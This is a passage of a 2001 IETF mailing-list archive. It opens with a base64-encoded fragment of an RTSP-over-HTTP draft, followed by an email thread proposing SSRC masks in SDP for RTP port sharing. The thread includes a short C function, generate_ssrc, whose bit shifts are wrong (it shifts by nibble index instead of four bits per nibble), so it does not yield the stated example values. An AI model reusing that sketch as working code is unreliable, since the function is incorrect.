eHkgYWdlbnRzIGNvdWxkIGRldGVjdCB0aGlzIA0KICAgc2NlbmFyaW8gYnkgbG9va2luZyBmb3Ig
YW4gQWNjZXB0IG9yIENvbnRlbnQtVHlwZSBoZWFkZXIgY29udGFpbmluZyANCiAgICJhcHBsaWNh
dGlvbi94LXJ0c3AtdHVubmVsbGVkIi4gQ2xhc3NpY2FsIGZpbHRlcmluZyB0ZWNobmlxdWVzIGNv
dWxkIA0KICAgdGhlbiBiZSBhcHBsaWVkLiANCiAgICANCiAgIEFsdGVybmF0aXZlbHkgb3RoZXIg
bWFya2luZyBzY2hlbWVzIGNvdWxkIGJlIGRlc2lnbmVkIHRvIGFsbG93IA0KICAgZGV0ZWN0aW9u
IG9mIFJUU1AgdHVubmVsaW5nIGludG8gSFRUUC4gDQogICAgDQogICAgDQogICA2LiBTZWN1cml0
eSBDb25zaWRlcmF0aW9ucyANCiAgICANCiAgIFR1bm5lbGluZyBSVFNQIGluIEhUVFAgZG9lcyBu
b3QgaGF2ZSBkaWZmZXJlbnQgc2VjdXJpdHkgDQogICBjb25zaWRlcmF0aW9ucyB0aGFuIFJUU1Ag
b24gVENQIChjb3ZlcmVkIGJ5IFsxXSkgbm9yIEhUVFAuIA0KICAgIA0KICAgNy4gQWNrbm93bGVk
Z2VtZW50cyANCiAgICANCg0KICANCkdlbnRyaWMsIEpvbmVzICAgICAgICAgICBFeHBpcmVzIEph
bnVhcnkgMjAwMiAgICAgICAgICAgICAgICAgICAgICAgIDMgCgwNCiAgICAgICAgICAgICAgICAg
ICAgICAgIFR1bm5lbGluZyBSVFNQIGluIEhUVFAgICAgICAgICAgICAgICBKdWx5IDIwMDEgDQog
DQogDQogICBUaGlzIHdvcmsgaGFzIGJlZW4gc3RhcnRlZCBhZnRlciBhIGRpc2N1c3Npb24gaW4g
dGhlIEludGVybmV0IA0KICAgU3RyZWFtaW5nIE1lZGlhIEFsbGlhbmNlIGZvcnVtOyBhdXRob3Jz
IHdpc2ggdG8gdGhhbmsgdGhlIHBlb3BsZSBvZiANCiAgIHRoaXMgZm9ydW0gZm9yIHJhaXNpbmcg
aW50ZXJlc3RpbmcgcG9pbnRzLiANCiAgICANCiAgIDguIFJlZmVyZW5jZXMgDQogDQogICBbMV0g
U2NodWx6cmlubmUsIFJhbywgTGFucGhpZXIsIFJUU1A6IFJlYWwgVGltZSBTdHJlYW1pbmcgUHJv
dG9jb2wgDQogICBSRkMgMjMyNiwgSW50ZXJuZXQgRW5naW5lZXJpbmcgVGFzayBGb3JjZSwgQXBy
aWwgMTk5OC4gDQogICBbMl0gU2NodWx6cmlubmUsIENhc25lciwgRnJlZGVyaWNrLCBKYWNvYnNv
biBSVFA6IEEgVHJhbnNwb3J0IA0KICAgUHJvdG9jb2wgZm9yIFJlYWwgVGltZSBBcHBsaWNhdGlv
bnMgUkZDIDE4ODksIEludGVybmV0IEVuZ2luZWVyaW5nIA0KICAgVGFzayBGb3JjZSwgSmFudWFy
eSAxOTk2LiANCiAgIFszXSBodHRwOi8vaW5kZXguYXBwbGUuY29tL35zaW5nZXIvcXQvcnRzcHRo
cm91Z2hodHRwLmh0bWwgDQogICAgDQogICAgDQogICA5LiBBdXRob3JzJyBBZGRyZXNzZXMgDQog
ICAgDQogICBQaGlsaXBwZSBHZW50cmljIA0KICAgUGhpbGlwcyANCiAgIDUxIHJ1ZSBDYXJub3Qg
DQogICA5MjE1NiBTdXJlc25lcyANCiAgIEZyYW5jZSANCiAgIGUtbWFpbDogcGhpbGlwcGUuZ2Vu
dHJpY0BwaGlsaXBzLmNvbSANCiAgICANCiAgIGFubmUgam9uZXMgIA0KICAgQXBwbGUgDQogICAx
IEluZmluaXRlIExvb3AgDQogICBDdXBlcnRpbm8sIENBIDk1MDE0IA0KICAgZS1tYWlsOiBhc3Rv
cmlhQGFwcGxlLmNvbSANCiAgICANCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoNCg0KDQoN
Cg0KDQoNCg0KDQoNCiAgDQpHZW50cmljLCBKb25lcyAgICAgICAgICAgRXhwaXJlcyBKYW51YXJ5
IDIwMDIgICAgICAgICAgICAgICAgICAgICAgICA0IAoM

--0__=C1256A93002F1AB48f9e8a93df938690918cC1256A93002F1AB4--


From confctrl-owner  Tue Jul 24 11:00:42 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id LAA03485
	for confctrl-outgoing; Tue, 24 Jul 2001 11:00:42 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id LAA03480
	for <confctrl@zephyr.isi.edu>; Tue, 24 Jul 2001 11:00:41 -0700 (PDT)
Received: from exchange1.nuera.com ([12.105.228.79])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6OI0sL11182;
	Tue, 24 Jul 2001 11:00:55 -0700 (PDT)
Received: by exchange1.nuera.com with Internet Mail Service (5.5.2653.19)
	id <P1LBSDWS>; Tue, 24 Jul 2001 11:00:55 -0700
Message-ID: <E79883AEA37FD411A58C00508BAC5F4BD72A21@exchange1.nuera.com>
From: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
To: "'Jonathan Rosenberg '" <jdrosen@dynamicsoft.com>,
        "''Michael Thomas' '"
	 <mat@cisco.com>,
        "'Colin Perkins '" <csp@ISI.EDU>
Cc: "''avt@ietf.org' '" <avt@ietf.org>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>
Subject: RE: [AVT] Re: RTP/RTCP Port Sharing (SSRC)
Date: Tue, 24 Jul 2001 11:00:51 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Jonathan,

I've gave this approach some thought as well. The problem with mandating the
SSRC is that it really breaks the whole RTP model. So I had the idea to have
use a SSRC mask type idea. This means that the different sessions can be
separated but also also allows multiple senders in the same sessions.

For instance, 

a=x-ssrc:1B373xxx

where the sender should replace the masked nibbles with a random number to
form an SSRC with which to send. In this example there are 1024K different
sessions possible (on the same receive port) and 8K different SSRC's within
each session. 

An extension to this idea would be to allow the SDP to include an optional
32-bit random number. Eg.

a=x-ssrc:1B373xxx 4ED2127B

The second number is the random number that will be used when calculating a
SSRC in the reverse direction (and only applies when the SDP is used to form
application-level bidirectional connections). 

For instance, if the other endpoint sends

a=x-ssrc:482783xx DE7B1233

Then you can tell that the SSRC that will be used when sending to the first
endpoint would be 1B373233 and in the other direction 4827837B 

This has now accomplished both RTP port sharing and media flow<->session
correlation/identification in a transport address transparent manner (for
both multiple sessions and multiple participant per session). This are VERY
useful properties!

I'm not too sure if the second extension is "a bridge to far"? There are
still a few issues but nothing insurmountable I think.

You still have the issue where you get a SSRC colision but this is at least
detectable and resolvable. [And this situation has always been a
possibility]

This is now really an MMUSIC issue as well.

Robert.

-----Original Message-----
From: Jonathan Rosenberg
To: 'Michael Thomas'; Colin Perkins
Cc: Fairlie-Cuninghame, Robert; Jonathan Rosenberg; 'avt@ietf.org'
Sent: 24/07/01 09:22
Subject: RE: [AVT] Re: RTP/RTCP Port Sharing -> SCTP 


> Colin Perkins writes:
>  > --> "Fairlie-Cuninghame, Robert" writes:
>  > >Hi Jonathan,
>  > >
>  > >> 
>  > >> Well, I would separate firewalls from nats. If the firewall 
>  > >> disallows all
>  > >> UDP, you're SOL and need some ugly, ugly solutions.
>  > >
>  > >A firewall may allow the application (SIP, H.323, etc) 
> through but not allow
>  > >"random" UDP packets to come from outside to "random" RTP 
> ports (since the
>  > >RTP ports are dynamically negotiated by the 
> application-layer). It may
>  > >require that the RTP flow initiate from within the 
> firewall and open a
>  > >five-tuple hole in the firewall as you suggest. I'm only 
> guessing but it
>  > >seems reasonable. 
>  > >
>  > >Of course we could define set of a "standard" RTP port for single
>  > >user-machines which might help  that problem but this is 
> not a general
>  > >solution and perhaps even encouraging undesirable behavior.
>  > 
>  > Section 7 of RFC1890 registers ports 5004 and 5005 for 
> this purpose.
> 
>    Oh. Cool. As I've mentioned to Jonathan before, I think
>    it's an OS/daemon implementation issue whether use of a
>    well known port RTP can be multiplexed for multiple users.
>    Clearly it's not going to be as clean of a design as free
>    floating RTP ports, but a daemon camping on 5004,5005 with
>    a message passing API for users to select SSRC's of interest
>    would probably be doable. The ability to express this in
>    SDP might be problematic though (I haven't looked at what
>    Christian cooked up though...)

Yeah, but the 5004/5005 is just a recommendation, the ports still float
for
multi-session machines, like gateways. Anyway, my experience is that
people
aren't even using these as the starting points for single session
devices.

I would expect that the way to do muxing within a port, using SSRC for
demux, would be to treat the SSRC as a "sub-port". So, when A calls B,
the
SDP from A indicates the port it will receive media on, and the SSRC it
needs B to send with. Similarly, the SDP in the 200 OK indicates the
port B
would like to receive on, the the SSRC it needs A to send with.

So, all we need is an SDP attribute like:

a=ssrc:7659

With this mechanism, the SSRC selection moves from the sender (where it
is
today) to the receiver (where it has to be to avoid collisions on a
port).
Obviously this only works for unicast.

Backwards compatibility is a bit of a pain, though. Near as I can tell
you
would need to rely on SIP Require for this, and back off to floating
ports
if the INVITE fails. 

-Jonathan R.

---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Tue Jul 24 14:55:15 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA20087
	for confctrl-outgoing; Tue, 24 Jul 2001 14:55:15 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA20082
	for <confctrl@zephyr.isi.edu>; Tue, 24 Jul 2001 14:55:14 -0700 (PDT)
Received: from mail2.dynamicsoft.com (mail2.dynamicsoft.com [216.173.40.52])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6OLtNL06901;
	Tue, 24 Jul 2001 14:55:23 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (bluebird [216.173.40.50])
	by mail2.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f6OLshki002352;
	Tue, 24 Jul 2001 17:54:43 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <PF7L7X19>; Tue, 24 Jul 2001 17:55:16 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF020D6340@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Fairlie-Cuninghame, Robert'" <rfairlie@nuera.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        "''Michael Thomas' '"
	 <mat@cisco.com>,
        "'Colin Perkins '" <csp@ISI.EDU>
Cc: "''avt@ietf.org' '" <avt@ietf.org>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>
Subject: RE: [AVT] Re: RTP/RTCP Port Sharing (SSRC)
Date: Tue, 24 Jul 2001 17:55:12 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Fairlie-Cuninghame, Robert [mailto:rfairlie@nuera.com]
> Sent: Tuesday, July 24, 2001 2:01 PM
> To: 'Jonathan Rosenberg '; ''Michael Thomas' '; 'Colin Perkins '
> Cc: ''avt@ietf.org' '; 'confctrl@isi.edu'
> Subject: RE: [AVT] Re: RTP/RTCP Port Sharing (SSRC)
> 
> 
> Hi Jonathan,
> 
> I've gave this approach some thought as well. The problem 
> with mandating the
> SSRC is that it really breaks the whole RTP model. 

I agree, it puts things in reverse, since now the sender doesn't select
their SSRC, they're told what it is.

> So I had 
> the idea to have
> use a SSRC mask type idea. This means that the different 
> sessions can be
> separated but also also allows multiple senders in the same sessions.

Since we are talking about unicast, in what case do we have multiple
senders? Even for a multiparty conference on a mixer, the mixer still knows
each participant and could assign them non-conflicting SSRC.

> 
> For instance, 
> 
> a=x-ssrc:1B373xxx
> 
> where the sender should replace the masked nibbles with a 
> random number to
> form an SSRC with which to send. In this example there are 
> 1024K different
> sessions possible (on the same receive port) and 8K different 
> SSRC's within
> each session. 
> 
> An extension to this idea would be to allow the SDP to 
> include an optional
> 32-bit random number. Eg.
> 
> a=x-ssrc:1B373xxx 4ED2127B
> 
> The second number is the random number that will be used when 
> calculating a
> SSRC in the reverse direction (and only applies when the SDP 
> is used to form
> application-level bidirectional connections). 

You've lost me here. Can you provide a complete flow (INV/200/ACK) with how
these are used?


-Jonathan R.
---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com


> 
> -----Original Message-----
> From: Jonathan Rosenberg
> To: 'Michael Thomas'; Colin Perkins
> Cc: Fairlie-Cuninghame, Robert; Jonathan Rosenberg; 'avt@ietf.org'
> Sent: 24/07/01 09:22
> Subject: RE: [AVT] Re: RTP/RTCP Port Sharing -> SCTP 
> 
> 
> > Colin Perkins writes:
> >  > --> "Fairlie-Cuninghame, Robert" writes:
> >  > >Hi Jonathan,
> >  > >
> >  > >> 
> >  > >> Well, I would separate firewalls from nats. If the firewall 
> >  > >> disallows all
> >  > >> UDP, you're SOL and need some ugly, ugly solutions.
> >  > >
> >  > >A firewall may allow the application (SIP, H.323, etc) 
> > through but not allow
> >  > >"random" UDP packets to come from outside to "random" RTP 
> > ports (since the
> >  > >RTP ports are dynamically negotiated by the 
> > application-layer). It may
> >  > >require that the RTP flow initiate from within the 
> > firewall and open a
> >  > >five-tuple hole in the firewall as you suggest. I'm only 
> > guessing but it
> >  > >seems reasonable. 
> >  > >
> >  > >Of course we could define set of a "standard" RTP port 
> for single
> >  > >user-machines which might help  that problem but this is 
> > not a general
> >  > >solution and perhaps even encouraging undesirable behavior.
> >  > 
> >  > Section 7 of RFC1890 registers ports 5004 and 5005 for 
> > this purpose.
> > 
> >    Oh. Cool. As I've mentioned to Jonathan before, I think
> >    it's an OS/daemon implementation issue whether use of a
> >    well known port RTP can be multiplexed for multiple users.
> >    Clearly it's not going to be as clean of a design as free
> >    floating RTP ports, but a daemon camping on 5004,5005 with
> >    a message passing API for users to select SSRC's of interest
> >    would probably be doable. The ability to express this in
> >    SDP might be problematic though (I haven't looked at what
> >    Christian cooked up though...)
> 
> Yeah, but the 5004/5005 is just a recommendation, the ports 
> still float
> for
> multi-session machines, like gateways. Anyway, my experience is that
> people
> aren't even using these as the starting points for single session
> devices.
> 
> I would expect that the way to do muxing within a port, using SSRC for
> demux, would be to treat the SSRC as a "sub-port". So, when A calls B,
> the
> SDP from A indicates the port it will receive media on, and 
> the SSRC it
> needs B to send with. Similarly, the SDP in the 200 OK indicates the
> port B
> would like to receive on, the the SSRC it needs A to send with.
> 
> So, all we need is an SDP attribute like:
> 
> a=ssrc:7659
> 
> With this mechanism, the SSRC selection moves from the sender 
> (where it
> is
> today) to the receiver (where it has to be to avoid collisions on a
> port).
> Obviously this only works for unicast.
> 
> Backwards compatibility is a bit of a pain, though. Near as I can tell
> you
> would need to rely on SIP Require for this, and back off to floating
> ports
> if the INVITE fails. 
> 
> -Jonathan R.
> 
> ---
> Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.jdrosen.net                      PHONE: (973) 952-5000
> http://www.dynamicsoft.com
> 

From confctrl-owner  Wed Jul 25 03:28:27 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA06091
	for confctrl-outgoing; Wed, 25 Jul 2001 03:28:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA06085
	for <confctrl@zephyr.isi.edu>; Wed, 25 Jul 2001 03:28:26 -0700 (PDT)
Received: from exchange1.nuera.com ([12.105.228.79])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6PASVL09245;
	Wed, 25 Jul 2001 03:28:31 -0700 (PDT)
Received: by exchange1.nuera.com with Internet Mail Service (5.5.2653.19)
	id <P1LBSF89>; Wed, 25 Jul 2001 03:26:56 -0700
Message-ID: <E79883AEA37FD411A58C00508BAC5F4BD72A24@exchange1.nuera.com>
From: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>,
        "''Michael Thomas' '"
	 <mat@cisco.com>,
        "'Colin Perkins '" <csp@ISI.EDU>
Cc: "''avt@ietf.org' '" <avt@ietf.org>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>
Subject: RE: [AVT] Re: RTP/RTCP Port Sharing (SSRC)
Date: Wed, 25 Jul 2001 03:26:48 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Jonathan,

> > I've gave this approach some thought as well. The problem 
> > with mandating the
> > SSRC is that it really breaks the whole RTP model. 
> 
> I agree, it puts things in reverse, since now the sender 
> doesn't select
> their SSRC, they're told what it is.

However, in my mind enforcing this SSRC selection - even in unicast (which
has nothing to do with the number of senders) is going a little too far.
Thus, my proposal is that the SDP advertisement simply restricts the
selectable SSRC range to some subspace of the full 2^^32 values. You now
have a session separation mechanism on the receiving side and yet you do not
destroy the multiple-senders nature of RTP. 

I strongly believe that any solution we come up with should application
generic and not impose limitations that restrict the way in which RTP can be
used.

> > So I had 
> > the idea to have
> > use a SSRC mask type idea. This means that the different 
> > sessions can be
> > separated but also allows multiple senders in the same 
> sessions.
> 
> Since we are talking about unicast, in what case do we have multiple
> senders? Even for a multiparty conference on a mixer, the 
> mixer still knows
> each participant and could assign them non-conflicting SSRC.

Well, even in SIP this case is possible - even when not using distributed
conferencing models. For instance, when a request is forked and multiple
endpoints respond with early media, then you will have multiple senders to a
single! If you were to force a single SSRC then all senders would be forced
to use the same SSRC - not very good design IMO. 

The same situation exists when multiple 200's are received (and your new
early media draft doesn't help in this case).

> > 
> > For instance, 
> > 
> > a=x-ssrc:1B373xxx
> > 
> > where the sender should replace the masked nibbles with a 
> > random number to
> > form an SSRC with which to send. In this example there are 
> > 1024K different
> > sessions possible (on the same receive port) and 8K different 
> > SSRC's within
> > each session. 
> > 
> > An extension to this idea would be to allow the SDP to 
> > include an optional
> > 32-bit random number. Eg.
> > 
> > a=x-ssrc:1B373xxx 4ED2127B
> > 
> > The second number is the random number that will be used when 
> > calculating a
> > SSRC in the reverse direction (and only applies when the SDP 
> > is used to form
> > application-level bidirectional connections). 
> 
> You've lost me here. Can you provide a complete flow 
> (INV/200/ACK) with how
> these are used?
> 

Okay here's my proposal:

ssrc-header = "x-ssrc=" rx-ssrc-mask [SP tx-ssrc-seed]
rx-ssrc-mask = *(HEXDIGIT) *("x")
	where rx-ssrc-mask is 1-8 characters in length
tx-ssrc-rnum = 1*(HEXDIGIT)
	where tx-ssrc-rnum is 1-8 characters in length

rx-ssrc-mask is a 32-bit hex number where the trailing nibbles may be masked
with "x"'s. The rx-ssrc-mask is used by a RTP sender to generate an ssrc by
replacing the "x"'s by a random number. Eg

u_long generate_ssrc(char *mask, u_long rand_num)
{
	u_long nibble, ssrc = 0;
	// replace "x"'s in mask with corresponding nibble from rnum
	for(int i=8-strlen(mask);i<8; i++)
	{
		if (mask[i] == 'x')
			nibble = (rand_num >> (7 - i)) & 0xF;
		else
			nibble = hexdigit_to_decimal(mask[i]);
		ssrc |= nibble << (7-i);
	}
	return ssrc;
}

tx-ssrc-rnum is a 32-bit hex number that indicates the random number that
the issuing application will use when generating an SSRC (as per above
function) to send RTP media. This only applies when the SDP will be used to
form a application-level bidirectional channel.

So as a SIP example (random values should normally be used)

INVITE ----->
m=audio 8000 RTP/AVP 0
c=IN IP4 10.0.0.1
a=x-ssrc:123xxxxx 12345678

<----- 200 OK 
m=audio 9000 RTP/AVP 0
c=IN IP4 10.0.0.10
a=x-ssrc:ABCDExxx 89ABCDEF

So now the callee will generate a sending ssrc using
generate_ssrc("123xxxxx", 89ABCDEF) which gives a value of 123BCDEF and
caller will generate a sending ssrc using generate_ssrc("ABCDExxx",
12345678) which gives a value of ABCDE678.

Simple. Both sides can share the same port between multiple sessions (and
multiple senders in each sessions); also the SSRC received on the shared
port can be correlated with the SDP of the corresponding sender -
independent of (unreliable) transport source addresses. 

Simple. These are really powerful properties!

SSRC collision is still possible (if multiple senders are possible) and
could be resolved using standard RTP SSRC collision resolution (or a session
level approach is also possible whereby the issuing side lists collided
SSRC's in the SDP of a re-INVITE/re-advertisement). 

Objections/comments?

Robert.




From confctrl-owner  Wed Jul 25 20:47:57 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id UAA23735
	for confctrl-outgoing; Wed, 25 Jul 2001 20:47:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id UAA23727
	for <confctrl@zephyr.isi.edu>; Wed, 25 Jul 2001 20:47:56 -0700 (PDT)
Received: from mail2.dynamicsoft.com (mail2.dynamicsoft.com [216.173.40.52])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6Q3mBL03623;
	Wed, 25 Jul 2001 20:48:11 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (bluebird [216.173.40.50])
	by mail2.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f6Q3lXki007314;
	Wed, 25 Jul 2001 23:47:33 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <PF7L76CS>; Wed, 25 Jul 2001 23:48:06 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF020D637F@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'Fairlie-Cuninghame, Robert'" <rfairlie@nuera.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        "''Michael Thomas' '"
	 <mat@cisco.com>,
        "'Colin Perkins '" <csp@ISI.EDU>
Cc: "''avt@ietf.org' '" <avt@ietf.org>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>
Subject: RE: [AVT] Re: RTP/RTCP Port Sharing (SSRC)
Date: Wed, 25 Jul 2001 23:48:05 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: Fairlie-Cuninghame, Robert [mailto:rfairlie@nuera.com]
> Sent: Wednesday, July 25, 2001 6:27 AM
> To: 'Jonathan Rosenberg'; ''Michael Thomas' '; 'Colin Perkins '
> Cc: ''avt@ietf.org' '; 'confctrl@isi.edu'
> Subject: RE: [AVT] Re: RTP/RTCP Port Sharing (SSRC)
> 
> 
> Hi Jonathan,
> 
> > > I've gave this approach some thought as well. The problem 
> > > with mandating the
> > > SSRC is that it really breaks the whole RTP model. 
> > 
> > I agree, it puts things in reverse, since now the sender 
> > doesn't select
> > their SSRC, they're told what it is.
> 
> However, in my mind enforcing this SSRC selection - even in 
> unicast (which
> has nothing to do with the number of senders) is going a 
> little too far.
> Thus, my proposal is that the SDP advertisement simply restricts the
> selectable SSRC range to some subspace of the full 2^^32 
> values. You now
> have a session separation mechanism on the receiving side and 
> yet you do not
> destroy the multiple-senders nature of RTP. 

Well, you're still telling the sender what SSRC to use, but now its a range
rather than a specific one. I don't see the difference as that important.

> 
> I strongly believe that any solution we come up with should 
> application
> generic and not impose limitations that restrict the way in 
> which RTP can be
> used.

By definition the problem is really restricted to unicast here, though.

> Well, even in SIP this case is possible - even when not using 
> distributed
> conferencing models. For instance, when a request is forked 
> and multiple
> endpoints respond with early media, then you will have 
> multiple senders to a
> single! If you were to force a single SSRC then all senders 
> would be forced
> to use the same SSRC - not very good design IMO. 
> 
> The same situation exists when multiple 200's are received 
> (and your new
> early media draft doesn't help in this case).

Ah, this is a good point. OK. I agree then we will need ranges, or some way
for this to work if the sender still selects his own ssrc.

> Okay here's my proposal:
> 
> ssrc-header = "x-ssrc=" rx-ssrc-mask [SP tx-ssrc-seed]
> rx-ssrc-mask = *(HEXDIGIT) *("x")
> 	where rx-ssrc-mask is 1-8 characters in length
> tx-ssrc-rnum = 1*(HEXDIGIT)
> 	where tx-ssrc-rnum is 1-8 characters in length
> 
> rx-ssrc-mask is a 32-bit hex number where the trailing 
> nibbles may be masked
> with "x"'s. The rx-ssrc-mask is used by a RTP sender to 
> generate an ssrc by
> replacing the "x"'s by a random number. Eg
> 
> u_long generate_ssrc(char *mask, u_long rand_num)
> {
> 	u_long nibble, ssrc = 0;
> 	// replace "x"'s in mask with corresponding nibble from rnum
> 	for(int i=8-strlen(mask);i<8; i++)
> 	{
> 		if (mask[i] == 'x')
> 			nibble = (rand_num >> (7 - i)) & 0xF;
> 		else
> 			nibble = hexdigit_to_decimal(mask[i]);
> 		ssrc |= nibble << (7-i);
> 	}
> 	return ssrc;
> }
> 
> tx-ssrc-rnum is a 32-bit hex number that indicates the random 
> number that
> the issuing application will use when generating an SSRC (as per above
> function) to send RTP media. This only applies when the SDP 
> will be used to
> form a application-level bidirectional channel.
> 
> So as a SIP example (random values should normally be used)
> 
> INVITE ----->
> m=audio 8000 RTP/AVP 0
> c=IN IP4 10.0.0.1
> a=x-ssrc:123xxxxx 12345678
> 
> <----- 200 OK 
> m=audio 9000 RTP/AVP 0
> c=IN IP4 10.0.0.10
> a=x-ssrc:ABCDExxx 89ABCDEF
> 
> So now the callee will generate a sending ssrc using
> generate_ssrc("123xxxxx", 89ABCDEF) which gives a value of 
> 123BCDEF and
> caller will generate a sending ssrc using generate_ssrc("ABCDExxx",
> 12345678) which gives a value of ABCDE678.
> 
> Simple. Both sides can share the same port between multiple 
> sessions (and
> multiple senders in each sessions); also the SSRC received on 
> the shared
> port can be correlated with the SDP of the corresponding sender -
> independent of (unreliable) transport source addresses. 
> 
> Simple. These are really powerful properties!

I get it. Very cute.

> 
> SSRC collision is still possible (if multiple senders are 
> possible) and
> could be resolved using standard RTP SSRC collision 
> resolution 

Only if they're being mixed, though... the case of forked media there is no
mixing. That is, if A calls B, and it forks to X and Y, A is not a mixer in
the SIP sense, since X and Y don't hear each other and won't get each others
SSRC in RTCP packets from A.

I'll note that my early media draft does help this quite a lot, actually;
thats because the called party re-offers the SDP to the caller, so the
caller can answer with a different SDP to each early media stream. This
allows the caller to tell each early media sender to use a different ssrc
for sending to it.

-Jonathan R.
---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Thu Jul 26 03:41:54 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id DAA22499
	for confctrl-outgoing; Thu, 26 Jul 2001 03:41:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id DAA22494
	for <confctrl@zephyr.isi.edu>; Thu, 26 Jul 2001 03:41:52 -0700 (PDT)
Received: from exchange1.nuera.com ([12.105.228.79])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f6QAg8L12105
	for <confctrl@isi.edu>; Thu, 26 Jul 2001 03:42:08 -0700 (PDT)
Received: by exchange1.nuera.com with Internet Mail Service (5.5.2653.19)
	id <P1LBSJPL>; Thu, 26 Jul 2001 03:42:06 -0700
Message-ID: <E79883AEA37FD411A58C00508BAC5F4BD72A42@exchange1.nuera.com>
From: "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>
To: "'Jonathan Rosenberg'" <jdrosen@dynamicsoft.com>
Cc: "''avt@ietf.org' '" <avt@ietf.org>,
        "'confctrl@isi.edu'"
	 <confctrl@ISI.EDU>
Subject: RE: [AVT] Re: RTP/RTCP Port Sharing (SSRC)
Date: Thu, 26 Jul 2001 03:42:05 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Hi Jonathan,

> > I strongly believe that any solution we come up with should 
> > application
> > generic and not impose limitations that restrict the way in 
> > which RTP can be
> > used.
> 
> By definition the problem is really restricted to unicast 
> here, though.

True but I don't see any reason why it won't provide some benefits to
multicast scenarios as well.

> > SSRC collision is still possible (if multiple senders are 
> > possible) and
> > could be resolved using standard RTP SSRC collision 
> > resolution 
> 
> Only if they're being mixed, though... the case of forked 
> media there is no
> mixing. That is, if A calls B, and it forks to X and Y, A is 
> not a mixer in
